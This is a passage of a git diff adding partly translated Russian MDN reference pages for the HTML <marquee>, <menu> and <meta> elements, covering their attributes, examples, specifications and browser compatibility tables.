+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="height: 75px; width: 964px;">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие <a href="/en-US/docs/HTML/Text-level_semantics_elements">семантики текстов на уровне элементов</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("abbr")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("i")}}, {{HTMLElement("b")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html
new file mode 100644
index 0000000000..8caafd13f3
--- /dev/null
+++ b/files/ru/web/html/element/marquee/index.html
@@ -0,0 +1,196 @@
+---
+title: <marquee>
+slug: Web/HTML/Element/marquee
+translation_of: Web/HTML/Element/marquee
+---
+<img height="300" src="https://1.bp.blogspot.com/-GyiiSQp4sp0/Xtzn50G25WI/AAAAAAAACJg/mplQUFf7vVgkTYMtEdqso7z6gu2k7KF0gCEwYBhgLKs4DAL1OcqzUrIIaX_dmPiHyK9FtaKoyKDCnAn3r56uduBIJ-OXVoM99c-j8CtfqLcTrM2bRgoWwB9l50j8C12WUIUtE37hzOFvE3vgJvWTAAW6TG0GG3EZMmUBA-kXwunWVtvV3s_H-w6TvDEIcXe4KT0rlxzsBnk4weYYimxoPzXTDqOf3GAeasL66jq-Yt-LN6DVz5ctbZbagHnE7QWrzoHaSwNOGxT_neVK3JgTJj0pxG3DEpzkiPBDTYVsQpT0T1hkhv0zBAqHaOGJWYTed4-Ir-IlaigCyvo2F7lm79fhyWJMaBTjR6lDrp2cR4IIy-ij5Ez7qV0OydxwD-eJ_NSifUdnS1iX-bmnLh9lGdpKoqU5or7PsEky4kGOj2s12rEtluXQtJpRT754Z1CJTw-T7MLzPSDhGTqr-4-GHHJ3RjRwv--4YXYQ8yHFdjvxhtkPikAF0p2VIk3-H1iG3GJKCiuIlPlwYVXKQ0GiNPY1JBWm1sHWJJ4cRVdpMf-gQxEcgyH3qzDJb9PcB1o8w09q-ZmRymYqHm4Y6tH5KbGbhyEl3nJVal9LwBATgSvfHnZQI8VgqI2u59nzC7lu30h67xADUEk7Zdk8DC8LiMOHY8_YF/s320/%25D0%25A1%25D0%25BD%25D0%25B8%25D0%25BC%25D0%25BE%25D0%25BA.PNG" width="320">
+<div>{{HTMLRef}}</div>
+
+<div>{{obsolete_header}}</div>
+
+<h2 id="Summary" name="Summary">Определение</h2>
+
+<p>HTML-элемент <code>&lt;marquee&gt;</code> используется для создания на странице прокручивающегося текста (бегущей строки).</p>
+
+<h2 id="Атрибут">Атрибут</h2>
+
+<dl>
+ <dt>{{htmlattrdef("behavior")}}</dt>
+ <dd>Описывает поведение прокрутки. Допустимые значения: <code>scroll</code>, <code>slide</code> <code>и alternate</code>. Если значение не указано, то используется <code>scroll</code>.</dd>
+ <dt>{{htmlattrdef("bgcolor")}}</dt>
+ <dd>Задает цвет фона (можно использовать имя цвета или шестнадцатеричное значение).</dd>
+ <dt>{{htmlattrdef("direction")}}</dt>
+ <dd>Задает направление прокрутки. <code>Допустимые значения: left</code>, <code>right</code>, <code>up</code> и <code>down</code>. Если значение не указано, то используется <code>left</code>.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Задаёт высоту в пикселях или процентах.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>Задает поле (margin) слева.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Задаёт количество прокруток. Если значение не указано, то используется -1, что означает бесконечную прокрутку</dd>
+ <dt>{{htmlattrdef("scrollamount")}}</dt>
+ <dd>Задает сдвиг на каждом шаге в пикселях. По умолчанию 6.</dd>
+ <dt>{{htmlattrdef("scrolldelay")}}</dt>
+ <dd>Задает интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут <code>truespeed</code>.</dd>
+ <dt>{{htmlattrdef("truespeed")}}</dt>
+ <dd>По умолчанию значения меньше 60 в<code> scrolldelay игнорируются</code>. Однако, если присутствует <code>truespeed</code>, то они не игнорируются</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>Задает вертикальный отступ (margin) в пикселях или процентах.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Задаёт ширину в пикселях или процентах.</dd>
+</dl>
+
+<h2 id="Event_handlers" name="Event_handlers">Обработчики событий</h2>
+
+<dl>
+ <dt>{{htmlattrdef("onbounce")}}</dt>
+ <dd>Срабатывает, когда marquee достиг конечного состояния. Срабатывает только в случаях, когда <code>behavior</code> имеет значение <code>alternate</code>.</dd>
+ <dt>{{htmlattrdef("onfinish")}}</dt>
+ <dd>Срабатывает, когда marquee прокрутился столько раз, сколько было задано в атрибуте <code>loop</code>. Срабатывает только тогда, когда атрибут <code>loop</code> имеет положительное значение.</dd>
+ <dt>{{htmlattrdef("onstart")}}</dt>
+ <dd>Срабатывает в начале прокрутки.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>start</dt>
+ <dd>Запускает прокрутку marquee.</dd>
+ <dt>stop</dt>
+ <dd>Останавливает прокрутку marquee.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: html notranslate">&lt;marquee&gt;This text will scroll from right to left&lt;/marquee&gt;
+
+&lt;marquee direction="up"&gt;This text will scroll from bottom to top&lt;/marquee&gt;
+
+&lt;marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"&gt;
+  &lt;marquee behavior="alternate"&gt;
+    This text will bounce
+  &lt;/marquee&gt;
+&lt;/marquee&gt;</pre>
+
+<p>{{EmbedLiveSample("Examples", 600, 450)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'obsolete.html#the-marquee-element-2', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Make it obsolete in favor of CSS but define its expected behavior, for backward compatibility.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'obsolete.html#the-marquee-element-0', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Make it obsolete in favor of CSS but define its expected behavior, for backward compatibility.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>2.0</td>
+   <td>7.2</td>
+   <td>1.2</td>
+  </tr>
+  <tr>
+   <td><code>truespeed</code> attribute</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>4.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>hspace/vspace</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>loop</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>truespeed</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hspace/vspace</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>loop</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/html/element/menu/index.html b/files/ru/web/html/element/menu/index.html
new file mode 100644
index 0000000000..1651378eda
--- /dev/null
+++ b/files/ru/web/html/element/menu/index.html
@@ -0,0 +1,208 @@
+---
+title: <menu>
+slug: Web/HTML/Element/menu
+translation_of: Web/HTML/Element/menu
+---
+<p>{{HTMLRef}}{{SeeCompatTable}}</p>
+
+<p><strong>HTML элемент <code>&lt;menu&gt;</code></strong> представляет группу команд, которые пользователь может выполнить или активировать. Он включает как меню-списки, которые могут отображаться в верхней части экрана, так и <a href="/en-US/docs/Web/HTML/Element/menu#Context_menu"> контекстные меню</a>, например, такие, что могут появиться под кнопкой после нажатия.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td>
+    <p><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>. If the element's children include at least one {{HTMLElement("li")}} element: <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Palpable_content">Palpable content</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>
+    <p>If the element is in the <em>list menu</em> state: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}. (<em>list menu</em> is the default state, unless the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.)</p>
+
+    <p>If the element is in the <em>context menu</em> state: zero or more occurrences, in any order, of {{HTMLElement("menu")}} (<em>context menu</em> state only), {{HTMLElement("menuitem")}}, {{HTMLElement("hr")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>{{No_Tag_Omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который поддерживает <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">основной поток</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Implicit ARIA role</th>
+   <td><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/List_role">list</a></code></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, <code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/listbox_role">listbox</a></code>, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}} или {{ARIARole("tree")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{DOMxRef("HTMLMenuElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("label")}} {{Deprecated_inline}}</dt>
+ <dd>The name of the menu as shown to the user. Used within nested menus, to provide a label through which the submenu can be accessed. Must only be specified when the parent element is a {{HTMLElement("menu")}} in the <em>context menu</em> state.</dd>
+ <dt>{{HTMLAttrDef("type")}}</dt>
+ <dd>This attribute indicates the kind of menu being declared, and can be one of two values.
+ <ul>
+  <li><code>context</code> {{Deprecated_inline}} : Indicates the <em>popup menu</em> state, which represents a group of commands activated through another element. This might be as a button menu referenced by a {{HTMLAttrxRef("menu", "button")}} attribute of a {{HTMLElement("button")}} element, or as context menu for an element with a <a href="/en-US/docs/HTML/Global_attributes#attr-contextmenu"><code>contextmenu</code></a> attribute. This value is the default if the attribute is missing and the parent element is also a <code>&lt;menu&gt;</code> element.</li>
+  <li><code>toolbar</code>: Indicates the <em>toolbar</em> state, which represents a toolbar consisting of a series of commands for user interaction. This might be in the form of an unordered list of {{HTMLElement("li")}} elements, or, if the element has no <code>&lt;li&gt;</code> element children, <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a> describing available commands. This value is the default if the attribute is missing.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>The {{HTMLElement("menu")}} and {{HTMLElement("ul")}} elements both represent an unordered list of items. The key difference is that {{HTMLElement("ul")}} primarily contains items for display, whilst {{HTMLElement("menu")}} is intended for interactive items, to act on.</p>
+
+<p>An HTML menu can be used to create context menus (typically activated by right-clicking another element) or toolbars.</p>
+
+<p><strong>{{anch("Context menu", "Context menus</strong>")}} consist of a <code>&lt;menu&gt;</code> element which contains {{HTMLElement("menuitem")}} elements for each selectable option in the menu, <code>&lt;menu&gt;</code> elements for submenus within the menu, and {{HTMLElement("hr")}} elements for separator lines to break up the menu's content into sections. Context menus are then attached to the element they're activated from using either the associated element's {{HTMLAttrxRef("contextmenu")}} attribute or, for {{anch("Button menu", "button-activated menus")}} attached to {{HTMLElement("button")}} elements, the {{HTMLAttrxRef("menu", "button")}} attribute.</p>
+
+<p><strong>{{anch("Toolbar", "Toolbar menus</strong>")}} consist of a <code>&lt;menu&gt;</code> element whose content is described in one of two ways: either as an unordered list of items represented by {{HTMLElement("li")}} elements (each representing a command or option the user can utilize), or (if there are no <code>&lt;li&gt;</code> elements), <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a> describing the available commands and options.</p>
+
+<p>This element was deprecated in HTML4, but reintroduced in HTML5.1 and the HTML living standard. This document describes the current Firefox implementation. Type 'list' is likely to change to 'toolbar' according to HTML5.1.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Context_menu" name="Context_menu">Context menu</h3>
+
+<p>{{Deprecated_header}}</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html;">&lt;!-- A &lt;div&gt; element with a context menu --&gt;
+&lt;div contextmenu="popup-menu"&gt;
+  Right-click to see the adjusted context menu
+&lt;/div&gt;
+
+&lt;menu type="context" id="popup-menu"&gt;
+  &lt;menuitem&gt;Action&lt;/menuitem&gt;
+  &lt;menuitem&gt;Another action&lt;/menuitem&gt;
+  &lt;hr/&gt;
+  &lt;menuitem&gt;Separated action&lt;/menuitem&gt;
+&lt;/menu&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css;">div {
+  width: 300px;
+  height: 80px;
+  background-color: lightgreen;
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Context_menu", "100%", 80)}}</p>
+
+<h3 id="Menu_button" name="Menu_button">Menu button</h3>
+
+<div class="blockIndicator warning">
+<p>Menu buttons haven't been implemented in any known browsers yet. The {{HTMLAttrxRef("type", "menu")}} attribute on the <code>&lt;menu&gt;</code> element is now obsolete.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p>{{HTMLElement("menuitem")}} element is obsolete.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html;">&lt;!-- A button, which displays a menu when clicked. --&gt;
+&lt;button type="menu" menu="popup-menu"&gt;
+  Dropdown
+&lt;/button&gt;
+
+&lt;menu type="context" id="popup-menu"&gt;
+  &lt;menuitem&gt;Action&lt;/menuitem&gt;
+  &lt;menuitem&gt;Another action&lt;/menuitem&gt;
+  &lt;hr/&gt;
+  &lt;menuitem&gt;Separated action&lt;/menuitem&gt;
+&lt;/menu&gt;
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Menu_button", "100%", 50)}}</p>
+
+<h3 id="Toolbar" name="Toolbar">Toolbar</h3>
+
+<div class="blockIndicator warning">
+<p>Toolbar menus haven't been implemented in any known browsers yet.</p>
+</div>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;!-- A context menu for a simple editor,
+   - containing two menu buttons. --&gt;
+&lt;menu type="toolbar"&gt;
+  &lt;li&gt;
+    &lt;button type="menu" menu="file-menu"&gt;File&lt;/button&gt;
+    &lt;menu type="context" id="file-menu"&gt;
+      &lt;menuitem label="New..." onclick="newFile()"&gt;
+      &lt;menuitem label="Save..." onclick="saveFile()"&gt;
+    &lt;/menu&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;button type="menu" menu="edit-menu"&gt;Edit&lt;/button&gt;
+    &lt;menu type="context" id="edit-menu"&gt;
+      &lt;menuitem label="Cut..." onclick="cutEdit()"&gt;
+      &lt;menuitem label="Copy..." onclick="copyEdit()"&gt;
+      &lt;menuitem label="Paste..." onclick="pasteEdit()"&gt;
+    &lt;/menu&gt;
+  &lt;/li&gt;
+&lt;/menu&gt;
+</pre>
+
+<h4 id="Result_3">Result</h4>
+
+<p>{{EmbedLiveSample("Toolbar", "100%", 100)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "grouping-content.html#the-menu-element", "&lt;menu&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from latest snapshot, {{SpecName("HTML5.3")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "interactive-elements.html#the-menu-element", "&lt;menu&gt;")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.menu")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other list-related HTML Elements: {{HTMLElement("ol")}}, {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("hr")}}, and the obsolete {{HTMLElement("dir")}}.</li>
+ <li>The <a href="/en-US/docs/Web/HTML/Global_attributes#attr-contextmenu"><code>contextmenu</code></a> <a href="/en-US/docs/Web/HTML/Global_attributes">global attribute</a> can be used on an element to refer to the <code>id</code> of a <code>menu</code> with {{HTMLAttrxRef("type", "menu", 'type="context"')}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/meta/index.html b/files/ru/web/html/element/meta/index.html
new file mode 100644
index 0000000000..e22e24ca90
--- /dev/null
+++ b/files/ru/web/html/element/meta/index.html
@@ -0,0 +1,409 @@
+---
+title: <meta>
+slug: Web/HTML/Element/meta
+translation_of: Web/HTML/Element/meta
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML элемент <code>&lt;meta&gt;</code></strong> представляет такие {{Glossary("Metadata","метаданные")}}, которые не могут быть представлены другими HTML-метатегами, такими как {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} или {{HTMLElement("title")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td>Мета данные. Если задан {{htmlattrxref("itemprop")}} атрибут: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th>Разрешенное содержимое</th>
+   <td>Отсутствует - это {{Glossary("empty element","пустой элемент")}}.</td>
+  </tr>
+  <tr>
+   <th>Пропуск тега</th>
+   <td>Так как это пустой элемент, то открывающий тег должен присутствовать, а закрывающий - отсутствовать.</td>
+  </tr>
+  <tr>
+   <th>Разрешенные родительские элементы</th>
+   <td><code>&lt;meta charset&gt;</code>, <code>&lt;meta http-equiv&gt;</code>: {{HTMLElement("head")}} элемент. Если {{htmlattrxref("http-equiv", "meta")}} это не заявленная декларация, то может быть внутри элемента {{HTMLElement("noscript")}} или {{HTMLElement("head")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешёные роли ARIA</th>
+   <td>Отсутствуют</td>
+  </tr>
+  <tr>
+   <th>DOM интерфейс</th>
+   <td>{{domxref("HTMLMetaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> атрибут {{htmlattrxref("name", "meta")}} имеет особое значение для элемента <code>&lt;meta&gt;</code> и атрибут {{htmlattrxref("itemprop")}} не должен быть задан в <code>&lt;meta&gt;</code> элементе в котором уже определены какие-либо {{htmlattrxref("name", "meta")}}, {{htmlattrxref("http-equiv", "meta")}} или {{htmlattrxref("charset", "meta")}} атрибуты.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}}</dt>
+ <dd>Этот атрибут задает кодировку символов, используемую на странице. Он должен содержать <a class="external" href="https://www.iana.org/assignments/character-sets">стандартное имя IANA MIME для кодировки символов</a>. Хотя стандарт не требует определенной кодировки, он рекомендует:
+ <ul>
+  <li>Авторам рекомендуется использовать <code>{{glossary("UTF-8")}}</code>.</li>
+  <li>Не следует использовать ASCII-несовместимые кодировки, чтобы избежать угроз безопасности: браузеры, не поддерживающие их, могут интерпретировать вредоносный контент как HTML. Это относится к семейству кодировок <code>JIS_C6226-1983</code>, <code>JIS_X0212-1990</code>, <code>HZ-GB-2312</code>, <code>JOHAB</code> и <code>EBCDIC</code>.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Примечание:</strong> ASCII-несовместимые кодировки - это те, которые не преобразуют 8-битные коды точек <code>0x20</code>,<code>0x7E</code>, <code>0x0020</code>, <code>0x007E</code> в коды Unicode точек.</p>
+ </div>
+
+ <div class="warning">
+ <ul>
+  <li>Авторы <strong>не должны</strong> использовать <code>CESU-8</code>, <code>UTF-7</code>, <code>BOCU-1</code> и/или <code>SCSU</code>, так как есть примеры атак <a href="/en-US/docs/Glossary/Cross-site_scripting">межсайтового скриптинга</a> использующих данные кодировки.</li>
+  <li>Авторам не следует использовать кодировку <code>UTF-32</code>, потому что не все алгоритмы кодирования HTML5 могут отличить её от <code>UTF-16</code>.</li>
+ </ul>
+ </div>
+
+ <div class="note"><strong>Примечание:</strong>
+
+ <ul>
+  <li>Указанный набор символов должен соответствовать одной странице.<br>
+   Нет веских оснований для объявления неточного набора символов.</li>
+  <li><code>&lt;meta&gt;</code> элемент должен находиться внутри элемента {{HTMLElement("head")}} и задаваться в <strong>1024 первых байтах</strong> HTML страницы, поскольку некоторые браузеры смотрят только эти байты перед выбором кодировки.</li>
+  <li>Этот <code>&lt;meta&gt;</code> элемент - часть алгоритма, определяющего набор символов (<a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#encoding-sniffing-algorithm" title="Algorithm charset page">algorithm to determine the character set</a>) страницы, который браузер поддерживает. Заголовок {{HTTPHeader("Content-Type")}} и любые {{Glossary("Byte-Order Mark","Byte-Order Marks")}} элементы переопределяют данный элемент.</li>
+  <li>Настоятельно рекомендуется определить кодировку символов. Если для страницы не определён набор символов, то некоторые cross-scripting тхнологии могут повредить страницу, например такие как <a class="external" href="https://code.google.com/p/doctype-mirror/wiki/ArticleUtf7">UTF-7 fallback cross-scripting technique</a>. Постоянная установка этого элемента будет защищать Вас от этого риска.</li>
+  <li>Этот {{HTMLElement("meta")}} элемент это синоним для pre-HTML5 <code>&lt;meta http-equiv="Content-Type" content="text/html; charset=<em>IANAcharset</em>"&gt; </code>где <em><code>IANAcharset</code> </em>соответствует значению эквивалентного {{htmlattrxref("charset", "meta")}} атрибута.<br>
+   Этот синтаксис по-прежнему разрешен, хотя и устарел и больше не рекомендуется.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("content")}}</dt>
+ <dd>Этот атрибут содержит значение для {{htmlattrxref("http-equiv", "meta")}} или {{htmlattrxref("name", "meta")}} атрибута, в зависимости от контекста.</dd>
+ <dt>{{htmlattrdef("http-equiv")}}</dt>
+ <dd>Этот атрибут определяет прагму, которая может изменять поведение серверов и пользователей. Значение прагмы определяется с помощью  {{htmlattrxref("content", "meta")}} и может быть следующим:
+ <dl>
+  <dt><code>"content-language"</code> {{obsolete_inline}}</dt>
+  <dd>Эта прагма определяет значение языка страницы по умолчанию.
+  <div class="note">Не используйте эту прагму, так как она устарела Используйте глобальный атрибут {{HTMLElement("html")}} элемента вместо этого.</div>
+  </dd>
+  <dt><code>"Content-Security-Policy"</code></dt>
+  <dd>Это значение позволит администратору веб-сайта определить политику содержания для обслуживаемых ресурсов. За некоторыми исключениями, политика в основном включают в себя указание происхождения сервера и конечные точки сценария. Это помогает предотвратить атаки межсайтового скриптинга.</dd>
+  <dt><code>"content-type"</code> {{obsolete_inline}}</dt>
+  <dd>Этот атрибут определяет <a href="/en-US/docs/MIME">MIME type</a> документа. За ним следует синтаксис такой же как и в поле заголовка объекта содержимого HTTPI, однако как и внутри HTML элемента, большинство этих значений не доступно.<br>
+  Поэтому допустимым синтаксисом для его содержимого является литеральная строка '<code>text/html</code>', за которой следует набор символов со следующим синтаксисом: '<code>; charset=</code><em><code>IANAcharset</code></em>' где  <code>IANAcharset</code> это предпочтительное<em> MIME имя</em> для набора символов, который определяется как<a class="external" href="https://www.iana.org/assignments/character-sets"> IANA.</a>
+  <div class="note"><strong>Замечания:</strong>
+  <ul>
+   <li>Не используйте эту прагму, так как она устарела. Используйте атибут{{htmlattrxref("charset", "meta")}} в элементе {{HTMLElement("meta")}} вместо этого.</li>
+   <li>{{HTMLElement("meta")}} не может быть использована для выбора типа документа в XHTML документе, или в HTML5 документе, за которым следует XHTML синтаксис, никогда не задавайте MIME тип как XHTML MIME. Это будет некорректно.</li>
+   <li>Только HTML документ может использовать контент-тип, так что большинство из них являются неиспользуемыми, поэтому они являются устаревшими и заменяются {{htmlattrxref("charset", "meta")}} атрибутом.</li>
+  </ul>
+  </div>
+  </dd>
+  <dt><code>"default-style"</code></dt>
+  <dd>Специализация этой прагмы - предпочтительный стиль таблиц, используемый на странице. {{htmlattrxref("content", "meta")}} атрибут должен содержать заголовок {{HTMLElement("link")}} элемента который {{htmlattrxref("href", "link")}} связывает атрибут с CSS таблцей стилей, или заголовок  {{HTMLElement("style")}} элемента, который содержит <a href="/en-US/docs/Web/CSS">CSS</a> таблицу стилей.</dd>
+  <dt><code>"refresh"</code></dt>
+  <dd>Эта прагма определяет:
+  <ul>
+   <li>Количество секунд перезагрузки таблицы, если {{htmlattrxref("content", "meta")}} атрибут содержит только положительный целочисленный номер;</li>
+   <li>Время, в количестве секунд, за которое страница должна быть перенаправлена ​​на другую, если {{htmlattrxref("content", "meta")}} атрибут содержит положительный целочисленный номер, заканчивающийся строкой '<code>;url=</code>' и корректный URL.</li>
+  </ul>
+  </dd>
+  <dt><code>"set-cookie"</code> {{obsolete_inline}}</dt>
